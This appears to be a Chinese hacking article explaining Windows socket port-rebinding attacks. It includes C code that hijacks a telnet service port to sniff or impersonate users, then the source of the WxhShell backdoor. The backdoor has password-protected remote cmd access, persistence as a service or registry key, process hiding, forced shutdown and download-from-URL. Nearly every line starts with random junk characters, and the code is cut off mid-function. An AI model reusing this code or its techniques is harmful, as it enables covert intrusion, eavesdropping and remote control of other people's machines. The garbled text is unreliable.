在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
\%rX~UhZ= s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
c00a;=ji \*a7DuVw saddr.sin_family = AF_INET;
v(]\o;/O qKZ~)B j saddr.sin_addr.s_addr = htonl(INADDR_ANY);
wVV'9pw} yj"+!g bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
YDdmT7Ow 53@*GXzE 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
;S2^f;q~$ -hyY5!rD 这意味着什么?意味着可以进行如下的攻击:
Lk=f^qJ
] (4x`/ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
')+'m1N oB#KR1
>%7 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
)Q&:$] )>C,y`, 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
!fZ{= qAHQZKk 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
_}{C?611c fPa FL}& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
7_ZfV? . j^mAJ5 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
+{4ziqYj *Xn{{ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
}e& 9}:%CpD^~I #include
nsuK{8}@ #include
o.*8$$ #include
K;k&w; j #include
I?EtU/AD DWORD WINAPI ClientThread(LPVOID lpParam);
>5'C<jc C int main()
R>BnUIu {
n2Q ~fx<6% WORD wVersionRequested;
:l'61$= DWORD ret;
2dFC{US' WSADATA wsaData;
{OXKXRCa BOOL val;
294
0M4 SOCKADDR_IN saddr;
L$=6R3GI SOCKADDR_IN scaddr;
mr,IP=e~ int err;
!c4pFQ B SOCKET s;
s["8QCd"r SOCKET sc;
a;r,*zZ=" int caddsize;
Lf4c[[@%gd HANDLE mt;
`07xW*K(\Y DWORD tid;
iOYC1QFi? wVersionRequested = MAKEWORD( 2, 2 );
kn:X^mDXC/ err = WSAStartup( wVersionRequested, &wsaData );
S|CN)8Jsi if ( err != 0 ) {
om@GH0o+ printf("error!WSAStartup failed!\n");
S8(Y+jgk;a return -1;
3WHj|ENW }
IlJ!jq saddr.sin_family = AF_INET;
Oe:+%p 7O',X Y //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
V^sZXdDNL b=amd* saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
h mC.5mY saddr.sin_port = htons(23);
nd_+g2x' if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
?Imq4I~) {
,l+lokD-# printf("error!socket failed!\n");
5 Sm9m*/ return -1;
2uujA*
^ }
!6{; z/Hy val = TRUE;
DyhW_PH2J //SO_REUSEADDR选项就是可以实现端口重绑定的
xn|M]E1) if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Osz:23(p {
6AD#x7drj printf("error!setsockopt failed!\n");
.dM4B'OA? return -1;
Wwo'pke
}
,Q:Ylc8 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
W/e6O?? O //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
WD.td //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
36iDiT_ QfPsF@+-`7 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Vcjmj {
{HoeK>rd ret=GetLastError();
TC[(mf:8 printf("error!bind failed!\n");
K{DsGf, return -1;
sKDsps^$ }
w1>uD] listen(s,2);
SWwL.-+E] while(1)
3'3E:}o| {
f0Wbc\L[ caddsize = sizeof(scaddr);
:qlcN @_ //接受连接请求
l5;
SY sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
% )'#
d if(sc!=INVALID_SOCKET)
X0\O3l*j {
olLVT<
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
vT1StOx<V if(mt==NULL)
0i|z$QRL~ {
QT`|"RI% printf("Thread Creat Failed!\n");
}(MI}o} break;
Ov<EOK+^ }
R"Ff(1m }
J]mG!# 9 CloseHandle(mt);
ECW=865jL }
$f>h_8cla closesocket(s);
"|k 4<"] WSACleanup();
X>-|px$vy return 0;
JJE?!Yvc }
$tm%=g^ DWORD WINAPI ClientThread(LPVOID lpParam)
mc
FSWmq {
kMS&"/z SOCKET ss = (SOCKET)lpParam;
B
r`a;yT SOCKET sc;
u$M,&Om unsigned char buf[4096];
MJ.K,e SOCKADDR_IN saddr;
(i 2R1HCa long num;
7oWT6Qa5 DWORD val;
s^\
*jZ6 DWORD ret;
GBg~NkC7. //如果是隐藏端口应用的话,可以在此处加一些判断
#OMFv. //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
S&JsDPzSd saddr.sin_family = AF_INET;
n5qg6(Tl] saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
MJ?fMR@ saddr.sin_port = htons(23);
r `;_ #&b if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:@~W$f\y {
_ J t printf("error!socket failed!\n");
~vPR9\e return -1;
'73g~T%$^* }
>))f;$D= val = 100;
C0`Bi:Ze if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
w,)O*1't {
14DHU ret = GetLastError();
_uf,7R- return -1;
Gv(?u }
7{JIHY+ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Vu=e|A# {
^Ay>%`hf* ret = GetLastError();
OaH1xZNOC` return -1;
}mdk+IEt }
b0|;v-v if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
?h|&kRq {
=bHS@h8N< printf("error!socket connect failed!\n");
&l8eljg closesocket(sc);
EGMIw?%Y`- closesocket(ss);
*ufVZzP( return -1;
WcHL:38 }
;R[w}#Sm while(1)
E#zLm {
2{}8_G //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
|MMaaW^" //如果是嗅探内容的话,可以再此处进行内容分析和记录
2L(\-]%f //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
f`vu+nw num = recv(ss,buf,4096,0);
% B^BN|r if(num>0)
DJJd_ send(sc,buf,num,0);
=nff;Xu else if(num==0)
nh'TyUd! break;
IY"+hHt num = recv(sc,buf,4096,0);
!)4'[5t"U if(num>0)
=@ d/SZ|(E send(ss,buf,num,0);
Y/<`C else if(num==0)
*Roqie break;
NIh?2w"\ }
fNk0&M closesocket(ss);
s1>d)2lX closesocket(sc);
%'w?fqk return 0 ;
A4{p(MS5 }
^61;0 rbl7-xhC7 Ib(G!oO:E- ==========================================================
f\vMdY N;` jz(r 下边附上一个代码,,WXhSHELL
I~F]e|Ehqr XGb*LY+Db6 ==========================================================
@j<Q2z^ f=hT
o!i #include "stdafx.h"
c5(4rT{(m e'|IRhr #include <stdio.h>
ZJ8"5RW #include <string.h>
+z|@K=d#| #include <windows.h>
"F:V$,mJ #include <winsock2.h>
Mc~L%5 #include <winsvc.h>
{,B.OM)J #include <urlmon.h>
:MihVL F P%aNbMg #pragma comment (lib, "Ws2_32.lib")
f= A`{8^ #pragma comment (lib, "urlmon.lib")
]@!3os,CNF x~QZVL=: #define MAX_USER 100 // 最大客户端连接数
4MrUo9L$s #define BUF_SOCK 200 // sock buffer
4^Og9}bm #define KEY_BUFF 255 // 输入 buffer
N4l}5(e \0n<6^y #define REBOOT 0 // 重启
z&Xk~R*$ #define SHUTDOWN 1 // 关机
H X{K5 + ~gdnD4[G #define DEF_PORT 5000 // 监听端口
K5HzA1^ xW|8-q #define REG_LEN 16 // 注册表键长度
&NX7 #define SVC_LEN 80 // NT服务名长度
jqlfypU Q7]bUPDO // 从dll定义API
G
2`hEX% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
UPy 4ST typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Vn65:" O typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
E9\u^"GVO typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
@JPz| d&lT/S // wxhshell配置信息
A=sz8?K+` struct WSCFG {
Y;"jsK{$ int ws_port; // 监听端口
WmOu#5*; char ws_passstr[REG_LEN]; // 口令
7LB%7~{< int ws_autoins; // 安装标记, 1=yes 0=no
:F_>`{ char ws_regname[REG_LEN]; // 注册表键名
zY2x_}#Q\" char ws_svcname[REG_LEN]; // 服务名
9iV9q]($0 char ws_svcdisp[SVC_LEN]; // 服务显示名
%]1te*_ char ws_svcdesc[SVC_LEN]; // 服务描述信息
\5-Dp9vG char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Pk;1q?tGw int ws_downexe; // 下载执行标记, 1=yes 0=no
A;k#8&; char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
m@']%X*(, char ws_filenam[SVC_LEN]; // 下载后保存的文件名
M8IU[Pz4 MDZPp;\) };
D!8v$(#hR 0p+36g // default Wxhshell configuration
MEu{'[C struct WSCFG wscfg={DEF_PORT,
N8DouDq "xuhuanlingzhe",
Cj=_WWo 1,
+,Or^pO= "Wxhshell",
3
}3C*w+ "Wxhshell",
Jl1\*1" "WxhShell Service",
=b8u8*ua "Wrsky Windows CmdShell Service",
4aKppj "Please Input Your Password: ",
wD/jN: 1,
1SH]$V4C "
http://www.wrsky.com/wxhshell.exe",
1,7
}ah_ "Wxhshell.exe"
E.*gKfL };
2.^CIJc e jR_3K^ // 消息定义模块
3.9/mztS char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
EnmMFxu< char *msg_ws_prompt="\n\r? for help\n\r#>";
f\r"7j char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
<m0=bm{j char *msg_ws_ext="\n\rExit.";
I
Bko"|e@ char *msg_ws_end="\n\rQuit.";
A
H=%6oT2 char *msg_ws_boot="\n\rReboot...";
,L
MN@G char *msg_ws_poff="\n\rShutdown...";
"3'a.b akw char *msg_ws_down="\n\rSave to ";
#*%?]B= }|&^Sg%95 char *msg_ws_err="\n\rErr!";
JDW/Mc1bh char *msg_ws_ok="\n\rOK!";
I_e7rE0` hi4-Z=pl char ExeFile[MAX_PATH];
Gm &jlN int nUser = 0;
,tDLpnB@; HANDLE handles[MAX_USER];
s8'!1rHd int OsIsNt;
Sy]W4% I!}V+gu= SERVICE_STATUS serviceStatus;
}{kn/m/ SERVICE_STATUS_HANDLE hServiceStatusHandle;
eA{A3.f"Hz zqURnsJ // 函数声明
<FAbImE} int Install(void);
{NcJL< ;tS int Uninstall(void);
@4KKm@(p85 int DownloadFile(char *sURL, SOCKET wsh);
hTWZIW@ int Boot(int flag);
neE
Zw#(Z void HideProc(void);
$5\!ws<cZ int GetOsVer(void);
:5'hd^Q int Wxhshell(SOCKET wsl);
Ujqnl>l void TalkWithClient(void *cs);
0l/7JH_@V int CmdShell(SOCKET sock);
2
E?]!9T~| int StartFromService(void);
t,'J%)j int StartWxhshell(LPSTR lpCmdLine);
-m[ tYp,q ,L<x=Dg VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
-ik=P]? VOID WINAPI NTServiceHandler( DWORD fdwControl );
c}|} o^ 4=`1C-v?q // 数据结构和表定义
J`C 2}$
~ SERVICE_TABLE_ENTRY DispatchTable[] =
(kyRx+gA {
tOte[~, {wscfg.ws_svcname, NTServiceMain},
?"T!<L {NULL, NULL}
g/WDAO?d };
cvf?ID84 Mn3j6a // 自我安装
}eI9me@Aa int Install(void)
#T8jHnI {
YMy** char svExeFile[MAX_PATH];
kGC*\?<LmR HKEY key;
Wb#<ctM> strcpy(svExeFile,ExeFile);
pAqPHD= c6=XJvz // 如果是win9x系统,修改注册表设为自启动
b6H7>x if(!OsIsNt) {
t;0]d7ey' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
YXmy-o> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
osmCwM4O RegCloseKey(key);
T00sYoK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5\O&pz@D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
XbeT x RegCloseKey(key);
m(dW["8D return 0;
\VI0/G)L }
*a0#PfS[ }
Snn4RB<( }
qF-Fc q else {
@3 + s jaaZx1 // 如果是NT以上系统,安装为系统服务
m*h O@M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
F9tWJJUsr if (schSCManager!=0)
~BgYD)ov {
=h?%<2t9< SC_HANDLE schService = CreateService
j~=<O<P (
W>c*\)Xk ! schSCManager,
1W-kZ(e wscfg.ws_svcname,
w@YPG{"j wscfg.ws_svcdisp,
F x$W3FIO] SERVICE_ALL_ACCESS,
u[4h|*'"| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
cRCji^,KJ SERVICE_AUTO_START,
gx eu2HG SERVICE_ERROR_NORMAL,
/qq*"R svExeFile,
ep`8LQf NULL,
ti]8_vP}* NULL,
7fd,I% v NULL,
jROh3kq NULL,
\l# H#~ NULL
.<YfnW5/K );
>}C:EnECy if (schService!=0)
_j{)%%?r {
)(1tDQ`L> CloseServiceHandle(schService);
&$#NV@
CloseServiceHandle(schSCManager);
qC=ZH# strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Gg:W% strcat(svExeFile,wscfg.ws_svcname);
[iyhrc:@ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
hh.`Yu L RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
M:d|M|' RegCloseKey(key);
l Dwq[ I]w return 0;
jH;L7 }
9I#a{%A: }
v0;dk( CloseServiceHandle(schSCManager);
N[DKA1Ei }
D.a\O9q"&{ }
s%m?Yh3 c"Q9ob return 1;
o?3C -A| }
!HW?/-\,O /R(
.7 N // 自我卸载
jCg4$),b int Uninstall(void)
|uRYejj#j {
D6\k}4n- HKEY key;
n^|7ycB' THy if(!OsIsNt) {
9/R=_y- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
)o&}i3~Q
RegDeleteValue(key,wscfg.ws_regname);
+ eZn RegCloseKey(key);
/de~+I5AB~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
7L]Y.7> RegDeleteValue(key,wscfg.ws_regname);
[LbCG RegCloseKey(key);
-.Z;n1'^ return 0;
`{}DLaD9 }
OPv~1h<[ }
Q[aBxy
( }
g\a q#QV else {
xR&Le/3+ ,pdf$)
XB SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
&iJvkt if (schSCManager!=0)
1ZWr@,\L {
P Qi= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
? 8S~R if (schService!=0)
NnY+=#j7L {
^X:g C9 if(DeleteService(schService)!=0) {
U/\LOIs CloseServiceHandle(schService);
-8t&&fIA CloseServiceHandle(schSCManager);
5&134!hC return 0;
pJ@->V_ }
B+ZhQW CloseServiceHandle(schService);
l?x'R("{ }
In#m~nE[M CloseServiceHandle(schSCManager);
]Lm?3$u$ }
.V l }
r+i=P_p 4Jw_gOY&D return 1;
lfLLk?g3k }
(<Kf X`k#/~+0 // 从指定url下载文件
qtS+01o int DownloadFile(char *sURL, SOCKET wsh)
e:n3@T,R {
T2XLP HRESULT hr;
6CNxb char seps[]= "/";
.:SY:v r char *token;
:g)`V4% char *file;
\U HI%1^ char myURL[MAX_PATH];
z?C&,mv char myFILE[MAX_PATH];
9Pdol! U#(#U0s*- strcpy(myURL,sURL);
VCvFCyAz token=strtok(myURL,seps);
S&Sa~Oq<o while(token!=NULL)
1u_< 1X3 {
cdD?QnZ file=token;
dpB\= token=strtok(NULL,seps);
@kB^~Wf }
j55OG~) :qK^71gz GetCurrentDirectory(MAX_PATH,myFILE);
>8w=Vlp strcat(myFILE, "\\");
G@1T!` strcat(myFILE, file);
!<4 =@ send(wsh,myFILE,strlen(myFILE),0);
PKX
Tj6hj) send(wsh,"...",3,0);
I?Q[ZH:M hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
42.y.LtZ if(hr==S_OK)
!sh>`AF return 0;
Kbqx)E$iL else
Q>l5:2lq return 1;
k6^!G " }x?2 txuu }
$/$ 5{< I{uwT5QT- // 系统电源模块
n_P2l<F~/x int Boot(int flag)
sf'+; {
vptBDfzz HANDLE hToken;
'EkuCL TOKEN_PRIVILEGES tkp;
KDJ-IXoU FYX"q-Z if(OsIsNt) {
'\/|K OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
3 UG
UZ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
U$wD'v3pw tkp.PrivilegeCount = 1;
75*q^ui tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
U$=#yg2
: AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
.%x%(olf if(flag==REBOOT) {
50NLguE if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
&4jc3_UKV return 0;
EOzw&M];r }
) 0|X];sD else {
gEkH5|*Y if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
%%hG],w return 0;
Xx
e07J~ }
w ;xbQZ|+ }
H.*aVb$ else {
4ZrRgx2MD if(flag==REBOOT) {
Z:Y_{YAD if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
XSe\@t~&g return 0;
L_Lhmtm}m }
NRDXWscb else {
)5/,B-+O" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
-5d^n\CDK return 0;
tu5T^"BqO }
R 9b0D>Lxt }
F8d:7`lO@/ `xF^9;5mi return 1;
V[ 'lB.&t }
DW0N}>Gp* o&:'MwU // win9x进程隐藏模块
ANq3r( void HideProc(void)
q cGsx2 {
<7Ry"z6g; A Y_GD ^ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
J)._&O$ if ( hKernel != NULL )
^!*nhs% {
jkV9$W0 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
_o'a|=Osx> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
,U?^u% FreeLibrary(hKernel);
FG)(,?q }
a9g~(#?a k\KI#.> return;
\/F*JPhy }
@|EWif| g<g$c<sm // 获取操作系统版本
Ox9M![fC int GetOsVer(void)
UM:]QbaIn {
ErxvGB(2 OSVERSIONINFO winfo;
~'w]%rh! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
=hi{J
M GetVersionEx(&winfo);
|./{,", if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
: 22)` ;0 return 1;
xv~Sk2Z+d else
4)?s?+ return 0;
3@wio[ }
-S7i': sQBKzvFO3 // 客户端句柄模块
1 RVs!; int Wxhshell(SOCKET wsl)
(Rh$0^)A {
2B b,ZC* SOCKET wsh;
(/KeGgkhv struct sockaddr_in client;
qi$nG_<<Z DWORD myID;
5Zn: $?7 5QP`2I_n while(nUser<MAX_USER)
\1<8'at {
w_#C8}2 int nSize=sizeof(client);
Tly*i"[& wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Q'rgh+6 if(wsh==INVALID_SOCKET) return 1;
Nr?CZFN#
_6-N+FI handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
mC}
b>\ if(handles[nUser]==0)
lofP$ closesocket(wsh);
TeKU/&fkc else
2`J#)f| nUser++;
m=rMx]k }
x27$h)R0v WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
]z8Th5a?o jH k.]4&0 return 0;
m-]F]c=)w< }
uAu'2M,_ %k @4}M> // 关闭 socket
X@za4d void CloseIt(SOCKET wsh)
:9f 9Z7M {
$B`ETI9g-N closesocket(wsh);
'EC0|IT)c nUser--;
ssAGWP ExitThread(0);
1d OB| }
`NfwW: ^%O$7* // 客户端请求句柄
5Gm8U"UR void TalkWithClient(void *cs)
6Ev+!!znu {
+mN8uU~(kx a:KL{e[ SOCKET wsh=(SOCKET)cs;
`4wy
*!] char pwd[SVC_LEN];
hqa6aYY x char cmd[KEY_BUFF];
3gYtu-1 char chr[1];
8S5Q{[ ! int i,j;
KQ0f2? =.l>Uw! while (nUser < MAX_USER) {
&5*t*tI >sQf{uL if(wscfg.ws_passstr) {
{vk%&{D0) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
:s1.TQ;Y( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
h6?o)Q>N //ZeroMemory(pwd,KEY_BUFF);
Q.Y6 i=0;
xl Q]"sm1 while(i<SVC_LEN) {
%qEp{itq *VaQ\]:d // 设置超时
iLN O}EUL fd_set FdRead;
5sSAH struct timeval TimeOut;
?rziKT5OOC FD_ZERO(&FdRead);
7Kpv fyL{ FD_SET(wsh,&FdRead);
jI~$iDdOfs TimeOut.tv_sec=8;
KN&|&51p} TimeOut.tv_usec=0;
S5r.so int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
nELY( z if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
wbI1~/ Q_dMuoI if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
`l %,4qR pwd
=chr[0]; fcy4?SQ.<i
if(chr[0]==0xd || chr[0]==0xa) { x4,[5N"}YK
pwd=0; )~`UDaj_
break; v^ v \6uEP
} eI%kxqc
i++; M !X^2
} &Lbwx&!0b
&8I*N6p:%/
// 如果是非法用户,关闭 socket uMRzUK`QK
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "sWsK
%
} Fl*<N
24wr=5p]Q
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F+L%Ho;@P
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x:h)\%Dg<
qnqS^K,':
while(1) { i 1Kq(7
?}= $zN
ZeroMemory(cmd,KEY_BUFF); Ggy?5N7P
w c\`2(
// 自动支持客户端 telnet标准 qn'TIE.
j=0; Aj(y]p8
while(j<KEY_BUFF) { ~Q5]?ZNX
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ='@k>Ka+
cmd[j]=chr[0]; JB=L{P J
if(chr[0]==0xa || chr[0]==0xd) { &|' NDcp
cmd[j]=0; 7]~|dc(
break; Tt=;of{
} nB]mj_)R^
j++; Hs{x Z:
} sCp)o,;
1QnaZhu'
// 下载文件 EQX<<x"
if(strstr(cmd,"http://")) { s,l*=<
send(wsh,msg_ws_down,strlen(msg_ws_down),0); G:`So
if(DownloadFile(cmd,wsh)) l3/Cj^o4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P%
8U
else O@w_"TJP/z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E`{DX9^
} ] mK{E~Zll
else { px(~ZZB"
Y kvEQ=
switch(cmd[0]) { PYzTKjw
y,@yaM}-/K
// 帮助 66$hdT$
case '?': { @ScC32X
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d`%7Pk
break; 9l:[jsk<d
} .[s6PzQy
// 安装 8dJ+Ei~M
case 'i': { c?aOX/C'
if(Install()) gvL*]U7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N P5K1:
else O7yj<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DF-.|-^9I
break; Og?GYe^_
} %b~ND?nn-
// 卸载 @\>7
wt_'
case 'r': { NL2D,
if(Uninstall()) ~y
whl'"k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0%,?z`UY
else (E~6fb"c
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "$ISun=8
break; u
yE#EnsH
} gv i!|!M=
// 显示 wxhshell 所在路径 {A5$8)nl|
case 'p': { bQPO'S4
char svExeFile[MAX_PATH]; <AP.m4N) _
strcpy(svExeFile,"\n\r"); 563ExibH
strcat(svExeFile,ExeFile); Der'45]*^
send(wsh,svExeFile,strlen(svExeFile),0); OI3j!L2f
break; B(O6qWsL
} aSgKh
// 重启 rj?c
case 'b': { 4$U^)\06W
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YN7`18u
if(Boot(REBOOT)) (uC@cVkP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @2hOy@V
else { A]drNFE
closesocket(wsh); `tXd?E/e
ExitThread(0); qG9j}[d'
} uyWw3>
break; #B#xSmak
} ;E>#qYC6
// 关机 {>XoE %
case 'd': { 1TF S2R n
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z`zLrXPD)
if(Boot(SHUTDOWN)) @Pi]kWW})
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z%=A[`5]
else { DF
gM7if
closesocket(wsh); X|QokAR{$>
ExitThread(0); kg,\l9AM
} _+~&t9A!
break; A..`?oGj
} b):aqRwP
// 获取shell wbh=v;
case 's': { u`Y~r<?P(
CmdShell(wsh); k2PK4Ua_}q
closesocket(wsh); Dca,IaT'
ExitThread(0); L=M'QJl9
break; Z+[W@5q
} ]^i^L
// 退出 joZd
case 'x': { 3f~znO
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,e'"SVQc
CloseIt(wsh);
W/~q%\M {
break; XD_!5+\H1
} ?[Ma" l>
// 离开 e#k)F.TZ:%
case 'q': { ,ei=w,O
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?FV%e
closesocket(wsh); 6\-u:dvGI?
WSACleanup(); |zd5P
exit(1); ~ tN/
break; x~{W(;`!
} kc}|L9
} gFfKK`)}D'
} 02T'B&&~
J |UFuD
// 提示信息 wwJ s_f\
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v$5D&Tv
} J(=y$8xje
} t)~$p#NS
H\9ePo\b~
return; crSqbL
} 0<fQjXn
,]das
// shell模块句柄 )V*`(dn'zm
int CmdShell(SOCKET sock) ^gR~~t;@
{ sb?!U"v.'
STARTUPINFO si; }_@p`>|)rB
ZeroMemory(&si,sizeof(si)); ez5>V7Y
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kXlI*h
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; aYWUwYB$
PROCESS_INFORMATION ProcessInfo; E0DquVrz
char cmdline[]="cmd"; iU3PlF[B/o
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V-X Ty
iv
return 0; kVG+Wr7l0F
} >xsY"N&1i'
{/>uc,8O
// 自身启动模式 CteNJBm
int StartFromService(void) &yOl}?u
{ ;ZP!:,
typedef struct Ae1b`%To
{ (*V!V3E3#
DWORD ExitStatus; :/t_5QN
DWORD PebBaseAddress; IMzt1l
=7
